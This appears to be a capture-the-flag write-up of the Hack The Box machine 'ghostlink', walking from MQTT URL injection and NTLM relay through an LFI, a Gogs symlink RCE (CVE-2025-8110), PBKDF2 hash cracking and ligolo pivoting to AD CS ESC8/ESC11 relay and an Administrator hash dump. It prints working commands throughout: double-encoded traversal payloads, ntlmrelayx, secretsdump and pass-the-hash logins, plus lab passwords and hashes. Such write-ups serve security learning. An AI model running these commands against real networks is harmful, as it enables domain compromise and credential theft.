Overview

The machine starts by enumerating an MQTT broker exposed on the network that reveals internal hostnames and a health-check topic vulnerable to SSRF-style URL injection, publishing a crafted callback to capture an NTLM hash which is relayed over HTTP using ghostsurf to a browser session hijack on an internal secure site, this session is abused for an LFI to pull a user's NTUSER.DAT and LNK files leading to a KeePass database and a Gogs instance vulnerable to CVE-2025-8110 symlink RCE to get shell as git, cracked Gogs password hashes to get a foothold as nvirelli, then abuse an AD CS server vulnerable to ESC8 and ESC11 by relaying a machine account over RPC/ICPR to request a DomainController certificate, authenticating with it to dump the Administrator hash and get shell as NT AUTHORITY\SYSTEM

Enumeration

start with nmap enumeration

other than the open ports we can get this out of the scan:

  • http port is open hosting a website with the title Ghost Protocol Zero
  • domain name is ghostlink.htb and the FQDN is dc01.ghostlink.htb
  • there is CA ghostlink-GPZ-OP26-SECURE-CA
  • huge clock skew

setup the environment

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ echo '10.129.21.154 dc01 dc01.ghostlink.htb ghostlink.htb' | sudo tee -a /etc/hosts
10.129.21.154 dc01 dc01.ghostlink.htb ghostlink.htb
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ sudo nxc smb 10.129.21.154 -u '' -p '' --generate-krb5-file /etc/krb5.conf
SMB 10.129.21.154 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:ghostlink.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.21.154 445 DC01 [+] krb5 conf saved to: /etc/krb5.conf
SMB 10.129.21.154 445 DC01 [+] Run the following command to use the conf file: export KRB5_CONFIG=/etc/krb5.conf
SMB 10.129.21.154 445 DC01 [+] ghostlink.htb\:
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ sudo ntpdate dc01.ghostlink.htb
2026-06-25 23:57:17.312579 (-0700) +28802.271256 +/- 0.038339 dc01.ghostlink.htb 10.129.21.154 s1 no-leap
CLOCK: time stepped by 28802.271256

Port 80

port 80 hosting animated image, nothing else ss_20260625_235840.png

fuzzing this port for directories

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ ffuf -u http://ghostlink.htb/FUZZ -w /opt/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://ghostlink.htb/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.                       [Status: 200, Size: 682, Words: 31, Lines: 34, Duration: 101ms]
:: Progress: [38267/38267] :: Job [1/1] :: 299 req/sec :: Duration: [0:02:32] :: Errors: 0 ::

fuzzing for virtual hosts also

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ ffuf -u http://10.129.21.154 -H 'Host: FUZZ.ghostlink.htb' -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -ac

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.21.154
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.ghostlink.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

:: Progress: [5000/5000] :: Job [1/1] :: 183 req/sec :: Duration: [0:00:30] :: Errors: 0 ::

so we can ignore it for now, maybe get back to it later if we got access to a shell and need to pivot from user to another

SMB Share

trying to access the guest account, we get a timeout but this is because the poor bandwidth, don't know if this is something related to the box but we can set a higher timeout to get that the guest account is disabled anyway

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ nxc smb 10.129.21.154 -u Guest -p '' --shares

SMB 10.129.21.154 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:ghostlink.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.21.154 445 DC01 [-] ghostlink.htb\Guest: The NETBIOS connection with the remote host timed out.
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ nxc smb 10.129.21.154 -u Guest -p '' --shares --smb-timeout 40

SMB 10.129.21.154 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:ghostlink.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.21.154 445 DC01 [-] ghostlink.htb\Guest: STATUS_ACCOUNT_DISABLED

just doing a full scan at this point to be sure we didn't miss anything

the ADWS might come in handy later to dump the domain but we need creds first

MQTT Port

MQTT (Message Queuing Telemetry Transport) is an extremely lightweight, publish/subscribe messaging protocol.

plaintext
1883/tcp  open  mqtt

so in a very simple words, unlike traditional HTTP acting based on client server model, MQTT is different cause it relies on the publish subscribe model where it relies on 3 components

  1. The Broker which is just a control server that takes all the published messages from the publishers and route them to the subscribers
  2. Publishers which is a device that sends a data to the broker (something like a thermostat, fridge, TV whatever that needs to send a data)
  3. Subscribers which is a device or applications that tell the broker what topic they want to listen on like a smartphone app that wants to receive temperature updates for example

we can interact with MQTT multiple ways, but the easiest way (just because it provides GUI is mqtt-explorer)

first connect ss_20260626_010135.png

going over some nodes we get the next

plaintext
dc01.ghostlink.htb (we already know about)
gpz-op26-toolkits.ghostlink.htb (internal IP 172.16.20.20 likely reverse-proxied)
gpz-op26-secure.ghostlink.htb (internal IP 172.16.20.10 likely reverse-proxied)
energy-grid.ghostlink.htb
transport.ghostlink.htb

ss_20260626_011205.png

add all that to the hosts file and lets try and see what is going on

  • even the internal IP ones will test it cause it might be reverse proxied

the transport and the energy-grid both return 302 to the main site

the secure ghostlink get us this ss_20260626_011526.png

Gogs Instance

and finally we are getting somewhere, the toolkit is hosting Gogs instance ss_20260626_011608.png

and we have a lot of repos there ss_20260626_011952.png

and a list of users as well ss_20260626_012431.png

one of the Gogs Repos got a wordlists that we can use

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink/gogs/cipher-breach/wordlists]
└──╼ [★]$ wc -l *
 50 common_passwords.txt
 30 nightfall_custom.txt
 80 total

the shadow file got a username called svc_telemetry but the password is an env variable so we can try that with the wordlist

plaintext
  authentication:
    username: "svc_telemetry"
    password_env: "SP_MQTT_PASSWORD"
    client_id_prefix: "nf-iot-sensor-"

trying to crack the svc_telemetry user using these wordlists didn't work, and also trying the list of users on Gogs also failed

Exploiting MQTT Publish

so one thing we need always to test for when there is an MQTT port is the behavior of the publishers and subscribers like where is this data sent, what happens to it on the other end, what topics are interesting.

the ones i found interesting are the health check and keep alive node cause both have a URL endpoints where we can try a new attack vectors because they have a parameter checking those every x second (i assumed there is a script doing something every x second) i will try and see if we can write those URL and publish them

starting with health ss_20260626_020432.png

so i tried pointing it to my device but i got nothing and i think the issue was from the mqtt explorer cause i published the same payload here using mosquitto (another tool to interact with mqtt but from CLI) and it worked (i will troubleshoot the MQTT-explorer later) ss_20260626_023953.png and we get a hash for the user svc_canary so i tried cracking it using rock you and the lists we found but no hit

trying to relay that to LDAP also failed ss_20260626_024839.png i think the only thing we can relay to now is the secure endpoint we found earlier

and the relay actually worked so lets connect ss_20260626_025137.png

but still asks me to get a login, so before trying to add -socks option to get a socks connection i got a 200 ok for the page HTML and it actually authenticated but now it isn't authenticated and what i think is it relays only a single request but trying to keep relaying also failed so at least now i know it is a tool issue ss_20260626_025307.png

now the socks say this have the target working but it tells me later no relay for that target

bash
ntlmrelayx> socks
Protocol Target Username AdminStatus Port ID
-------- ----------------------------- -------------------- ----------- ---- ---
HTTP gpz-op26-secure.ghostlink.htb GHOSTLINK/SVC_CANARY N/A 80 1
ntlmrelayx>
[-] SOCKS: Don't have a relay for 10.129.21.154(80)

searching this issue i come across this blog ghostsurf: From NTLM Relay to Browser Session Hijacking from specterOps mentioning the exact issue so lets use ghostsurf instead which is just an improved version of ntlmrelay but focused on HTTP relaying

just so you know, at the time i was doing this box ghostsurf had 2 issues related to this box specifically which took me a lot of time to troubleshoot and fix but there is PRs to solve those i will mention in the resource

now the session is registered ss_20260626_033713.png

it is fine now

bash
ghostsurf> socks
Protocol Target Username AdminStatus Port
-------- ----------------------------- -------------------- ----------- ----
HTTP gpz-op26-secure.ghostlink.htb GHOSTLINK/SVC_CANARY N/A 80
ghostsurf>

Secure Web Site

now if you open the proxy profile in foxyproxy and head to the website we'll get this ss_20260626_033827.png

looking at the source code in app.js there is an API behind that upload button so lets try

plaintext
/api/download/..%252fappsettings.json

lets fix the proxy setup I'll proxy the firefox to burp and proxy burp to global socks up stream which is the ghostsurf socks in this case (doing this just to proxy the traffic through burp and the socks at the same time)

after upload it returns a link for the file we just uploaded after getting secured ss_20260626_050626.png

LFI

and as you can see it is data so lets test this for LFI ss_20260626_050842.png

there is a filter i guess ss_20260626_051343.png

now we hit a different error ss_20260626_051805.png

but because i don't know how many dirs i wanna get out of, and i guess long input might break the server lets try the windows \ instead which starts from the C anyway like an absolute path

doing the \ above and trying single encoding didn't work but double encoding got it working for us ss_20260626_052537.png sometimes reading directories will return the output of dir but it needs special configuration so we'll have to go completely dark here

NTUSER.DAT file

now the only path we are sure of is this C:\Users\svc_canary so i started asking AI to show me what are the most dangerous file that exist in this path and started looking of course ignored any suggestion that'll need you to go any directory deeper cause you don't know if it doesn't exist or the directory itself doesn't exist so I'll focus on the files at this path only no subdirectories files

one thing that came back was the registry hive NTUSER.DAT which is a locked binary file that contains the HKEY_CURRENT_USER (HKCU) registry hive for that specific user It holds user preferences, environment variables, recently opened files (MRU lists), executed programs (UserAssist keys), and occasionally cached application credentials or license keys. If extracted offline, it can be parsed for deep forensic analysis.

and here is the file so I'll download it using curl ss_20260626_053115.png

and here it is

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ curl -x http://127.0.0.1:8080 http://gpz-op26-secure.ghostlink.htb/api/download/%255cusers%255csvc_canary%255cNTUSER.DAT --output NTUSER.DAT
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload Upload Total Spent Left Speed
100 256k 100 256k 0 0 146k 0 0:00:01 0:00:01 --:--:-- 146k
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ file NTUSER.DAT
NTUSER.DAT: MS Windows registry file, NT/2000 or above

then run regripper to extract it and ignore the error

the only thing that was worth pursuing is this recent file that is called db.zip

plaintext
Software\Microsoft\Windows\CurrentVersion\Search\RecentApps not found.
----------------------------------------
recentdocs v.20200427
(NTUSER.DAT) Gets contents of user's RecentDocs key

RecentDocs
**All values printed in MRUList\MRUListEx order.
Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
LastWrite Time: 2026-05-13 01:56:02Z

Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.zip
LastWrite Time 2026-05-13 01:56:02Z
MRUListEx = 0
  0 = db.zip

When a user opens a file, Windows automatically drops a .lnk file at C:\Users\<Username>\AppData\Roaming\Microsoft\Windows\Recent\ so lets check for db.zip.lnk

and as you can see it exists ss_20260626_054409.png

and we got the path for this file

bash
(cipher-venv) ┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ curl -x http://127.0.0.1:8080 http://gpz-op26-secure.ghostlink.htb/api/download/%252e%252e%252f%252e%252e%252fAppData%252fRoaming%252fMicrosoft%252fWindows%252fRecent%252fdb.zip.l
nk --output db.zip.lnk
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload Upload Total Spent Left Speed
100 792 100 792 0 0 655 0 0:00:01 0:00:01 --:--:-- 655
(cipher-venv) ┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ strings db.zip.lnk
OPERAT~1
MANAGE~1
db.zip
C:\Users\svc_canary\Documents\Operations\Management\db.zip
gpz-op26-secure
1SPS

and it is a zip archive data

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ curl -x http://127.0.0.1:8080 http://gpz-op26-secure.ghostlink.htb/api/download/%255cUsers%255csvc_canary%255cDocuments%255cOperations%255cManagement%255cdb.zip --output db.zip
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload Upload Total Spent Left Speed
100 161k 100 161k 0 0 85013 0 0:00:01 0:00:01 --:--:-- 85005
(cipher-venv) ┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ file db.zip
db.zip: Zip archive data, made by v3.0 UNIX, extract using at least v2.0, last modified May 12 2026 11:37:22, uncompressed size 165246, method=deflate
(cipher-venv)

KDBX file

it is a db.kdbx and its master password

plaintext
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ unzip db.zip
Archive:  db.zip
  inflating: db.kdbx
  inflating: .key.keyx

and we got a lot of users but they are only valid for the toolkits repository not for ldap or anything the internal and external nodes are all password for the user we already have which is svc_canary (in case we need to do something we can kill the relaying now and use www-authentication instead if we need to)

ss_20260626_055132.png

vroth was the only one with entry, all others just have empty password ss_20260626_055259.png

CVE-2025-8110

old trick i learned by watching ippsec. is how to get a version using this commit SHA hash ss_20260626_060024.png

we just go to Gogs source code and find the commit and look through the source code for it ss_20260626_060113.png I've seen this before in a machine from the last season i guess (season 10) this is vulnerable to Remote Code Execution

Gogs self-hosted Git service versions 0.13.3 and earlier contain a critical symlink bypass vulnerability that circumvents the fix for CVE-2024-55947. Authenticated users can exploit improper symbolic link handling in the PutContents API to overwrite files outside the repository by committing a symlink pointing to sensitive targets, leading to remote code execution. As of December 2025, this remains an unpatched zero-day with active exploitation ongoing. Approximately 1,400 exposed Gogs instances exist, with over 700 showing signs of compromise. The vulnerability stems from the API writing to file paths without checking if targets are symlinks pointing outside the repository. Gogs maintainers are working on a fix.

Shell as git

so lets abuse that

i will use zAbuQassims script but i will modify it, not to register any account and use the one that already there and change the password and username variables there ss_20260626_065858.png

looking at data there is gogs.db

plaintext
it@gpz-op26-toolkits:~/data$ ls
ls
avatars
gogs.db
sessions
ssh
tmp

and we got the salt and password for all

plaintext
sqlite> SELECT name, passwd, salt FROM user;
vroth|12528ba6418a9741578a33e0759b2e8375470269b720069ccab38f5c1cb3c287e4bf319ca7bd700d9d8a7395a4222e5ab326|6y62BTJVSO
nvirelli|8d9b3a01c3a0260b39db011aed1dbf239b8b1b28af6141f28aa01d3b3ab8ffd4408bc5b9065ff957e716375a7bec1755d3e8|DW3YdxPy25
gpz-tools-admin|ec5a7a9fc3417846b7baef2d301e9a0beaecf200fd5f33aa235c72c2b0a206f582eab05332d6e6799c78a45387b2b7fe7014|CIRi441QwX
zkovacs|a7dbbe7f55d2e4a66e8e7aa1f0fdd5cadddbc3fe4d06a060782e1b5985959461695ea9da089653099b221c0dc326caad01a2|qMOaBu0l1B
ohexley|6b286f89df176ae6405dc75cc436f0b6493ed2c29a0b6c1363c111b22b23075ebd790c4015e315ddb3d770c3f7caa97d6620|OEVEC4I5Io

so using a script to generate the hashes in hashcat needed form which is SHA256 PBKDF2 with salt (this is how Gogs Stores it) i will delete vroth cause we already got it

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ cat gogs.db.out| while IFS='|' read -r name hash salt; do
  hash_b64=$(echo -n "$hash" | xxd -r -p | base64)
  salt_b64=$(echo -n "$salt" | base64)
  echo "$name:sha256:10000:$salt_b64:$hash_b64"
done > hashcat_ready.txt
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ cat hashcat_ready.txt
vroth:sha256:10000:Nnk2MkJUSlZTTw==:ElKLpkGKl0FXijPgdZsug3VHAmm3IAacyrOPXByzwofkvzGcp71wDZ2Kc5WkIi5asyY=
nvirelli:sha256:10000:RFczWWR4UHkyNQ==:jZs6AcOgJgs52wEa7R2/I5uLGyivYUHyiqAdOzq4/9RAi8W5Bl/5V+cWN1p77BdV0+g=
gpz-tools-admin:sha256:10000:Q0lSaTQ0MVF3WA==:7Fp6n8NBeEa3uu8tMB6aC+rs8gD9XzOqI1xywrCiBvWC6rBTMtbmeZx4pFOHsrf+cBQ=
zkovacs:sha256:10000:cU1PYUJ1MGwxQg==:p9u+f1XS5KZujnqh8P3Vyt3bw/5NBqBgeC4bWYWVlGFpXqnaCJZTCZsiHA3DJsqtAaI=
ohexley:sha256:10000:T0VWRUM0STVJbw==:ayhvid8XauZAXcdcxDbwtkk+0sKaC2wTY8ERsisjB169eQxAFeMV3bPXcMP3yql9ZiA=

going back to this earlier we saw this password policy which has an attachment ss_20260626_072208.png

the minimum pass 20 character so lets trim rockyou list to the minimum of 20 character which will make the cracking process much faster (less entries) ss_20260626_072315.png

it is trimmed down to only 46606

bash
(cipher-venv) ┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ awk 'length($0) >= 20' /usr/share/wordlists/rockyou.txt > rockyou_20plus.txt
awk: cmd. line:1: (FILENAME=/usr/share/wordlists/rockyou.txt FNR=602044) warning: Invalid multibyte data detected. There may be a mismatch between your data and your locale
(cipher-venv) ┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ wc -l rockyou_20plus.txt
46606 rockyou_20plus.txt

and it is cracked as you can see

Shell as nvirelli

and finally we got something for AD (no winrm but lets try su from the shell)

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ nxc ldap dc01.ghostlink.htb -u 'nvirelli' -p 'u47YUclrDiwWxBheaSzI'
LDAP 10.129.21.179 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:ghostlink.htb) (signing:Enforced) (channel binding:When Supported)
LDAP 10.129.21.179 389 DC01 [+] ghostlink.htb\nvirelli:u47YUclrDiwWxBheaSzI
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ nxc winrm dc01.ghostlink.htb -u 'nvirelli' -p 'u47YUclrDiwWxBheaSzI'
WINRM 10.129.21.179 5985 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:ghostlink.htb)
WINRM 10.129.21.179 5985 DC01 [-] ghostlink.htb\nvirelli:u47YUclrDiwWxBheaSzI

and we got user

plaintext
git@gpz-op26-toolkits:~/data$ su nvirelli
Password:
nvirelli@gpz-op26-toolkits:/opt/gogs/data$ whoami
nvirelli
nvirelli@gpz-op26-toolkits:/opt/gogs/data$ cat /home/nvirelli/user.txt
8423e73f52c6d2baee20b137c0c7fb1e

no shares so lets get bloodhound running

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ nxc smb dc01.ghostlink.htb -u 'nvirelli' -p 'u47YUclrDiwWxBheaSzI' --shares
SMB 10.129.21.179 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:ghostlink.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.21.179 445 DC01 [+] ghostlink.htb\nvirelli:u47YUclrDiwWxBheaSzI
SMB 10.129.21.179 445 DC01 [*] Enumerated shares
SMB 10.129.21.179 445 DC01 Share Permissions Remark
SMB 10.129.21.179 445 DC01 ----- ----------- ------
SMB 10.129.21.179 445 DC01 ADMIN$ Remote Admin
SMB 10.129.21.179 445 DC01 C$ Default share
SMB 10.129.21.179 445 DC01 IPC$ READ Remote IPC
SMB 10.129.21.179 445 DC01 NETLOGON READ Logon server share
SMB 10.129.21.179 445 DC01 SYSVOL READ Logon server share

grab data

nothing showed up on the bloodhound data, and i can't get sharphound running either so lets just enumerate using certipy

just testing which IP is hosting the CA we know it is internal one, cause it didn't show up on our initial nmap scan

html
 curl -v http://172.16.20.10/certsrv/ --connect-timeout 5
* Connected to 172.16.20.10 (172.16.20.10) port 80
* using HTTP/1.x
> GET /certsrv/ HTTP/1.1
> Host: 172.16.20.10
> User-Agent: curl/8.14.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 401 Unauthorized
< Content-Type: text/html
< Server: Microsoft-IIS/10.0
< WWW-Authenticate: Negotiate
< WWW-Authenticate: NTLM
< X-Powered-By: ASP.NET
< Date: Fri, 26 Jun 2026 14:43:12 GMT
< Content-Length: 1293
<
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>401 - Unauthorized: Access is denied due to invalid credentials.</title>

tried also the 20.20 but it wasn't it, why we tried this ? cause we got a list of internal IPs at the start

lets get ligolo running and proxy to enumerate that

create the tunnel and set it up

plaintext
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ sudo ip tuntap add mode tun user jimmex ligolo
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ sudo ip link set ligolo up

use the agent to connect

bash
nvirelli@gpz-op26-toolkits:~$ ./agent -connect 10.10.16.206:11601 -ignore-cert
WARN[0000] warning, certificate validation disabled
INFO[0000] Connection established                        addr="10.10.16.206:11601"

start the tunnel

bash
ligolo-ng » INFO[0170] Agent joined. id=00155d327a01 name=nvirelli@gpz-op26-toolkits.ghostlink.htb remote="10.129.21.179:49820"
ligolo-ng »
ligolo-ng » session
? Specify a session : 1 - nvirelli@gpz-op26-toolkits.ghostlink.htb - 10.129.21.179:49820 - 00155d327a01
[Agent : nvirelli@gpz-op26-toolkits.ghostlink.htb] » start
INFO[0188] Starting tunnel to nvirelli@gpz-op26-toolkits.ghostlink.htb (00155d327a01)
[Agent : nvirelli@gpz-op26-toolkits.ghostlink.htb] »

you can route if you didn't start the proxy as sudo (if you started it as sudo it'll do it all for you)

plaintext
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ sudo ip route add 172.16.20.0/24 dev ligolo

ESC8 + ESC11 Abuse

as you can see the web enrollment is enabled over HTTP

because the target is vulnerable to ESC8 and ESC11 we chain the two to get this so we set the relay first

plaintext
sudo ntlmrelayx.py -t rpc://172.16.20.10 -rpc-mode ICPR -rpc-use-smb -auth-smb 'ghostlink.htb/nvirelli:u47YUclrDiwWxBheaSzI' -icpr-ca-name 'ghostlink-GPZ-OP26-SECURE-CA' --template DomainController -smb2support

the article i saw was using certipy relay but it didn't work for me i will give it another try later but as you can see we got a pfx file ss_20260626_081040.png

you can't get a shell using the dc account so lets dump creds

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ certipy auth -pfx DC01.pfx -dc-ip 10.129.21.179
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN DNS Host Name: 'dc01.ghostlink.htb'
[*]     Security Extension SID: 'S-1-5-21-3426459382-1936297842-2312468024-1000'
[*] Using principal: 'dc01$@ghostlink.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'dc01.ccache'
[*] Wrote credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$@ghostlink.htb': aad3b435b51404eeaad3b435b51404ee:b45a2d9b8a503a6595db42808364336e

and we get hash for the administrator

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:b45a2d9b8a503a6595db42808364336e -just-dc-user Administrator ghostlink.htb/'DC01$'@10.129.21.179
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8190e067f478002ddd63eb209b016696:::
[*] Kerberos keys grabbed
Administrator:0x14:3291eeea0dfc6d311e1fc6f5ea0920b0cfee75d818a96b1fd5a70b3b6f28706d
Administrator:0x13:b82fd32fef344067a56681879e2d937e
Administrator:aes256-cts-hmac-sha1-96:b2e73d40a99d49f55a44a05a02fa898119d6f4de72c1eceb5d484c0679d92fd8
Administrator:aes128-cts-hmac-sha1-96:c3607a0efea3207eb5b1df36eb2dd256
Administrator:0x17:8190e067f478002ddd63eb209b016696
[*] Cleaning up...

and we get root

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghostlink]
└──╼ [★]$ evil-winrm -i 10.129.21.179 -u administrator -H 8190e067f478002ddd63eb209b016696

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
66231a2e4f115b875a2842501208075e

just a hint if you got error from the ntlmrelay make sure to delete your published mqqt cause it is fucking it up for you

beyond root

I wanted to try couple of things

MQTT-Explorer Failure

the failure at the start was an issue from the explorer itself cause it works here just fine

ss_20260626_084442.png

and this time it actually works, so maybe i was injecting in a different node maybe or a wrong IP or something

ss_20260626_084750.png

one thing i noticed this field doesn't matter also when i tried to change the port number to 8000 it doesn't work

ss_20260626_084917.png

so this works

ss_20260626_085038.png

but now it is back working so i guess it was an issue with the app or something but it is ok we learned about mosquito_sub and pub anyway

ss_20260626_085135.png

Gogs Abuse Bash Script

you can modify the IPs here and use it for exploitation

Resources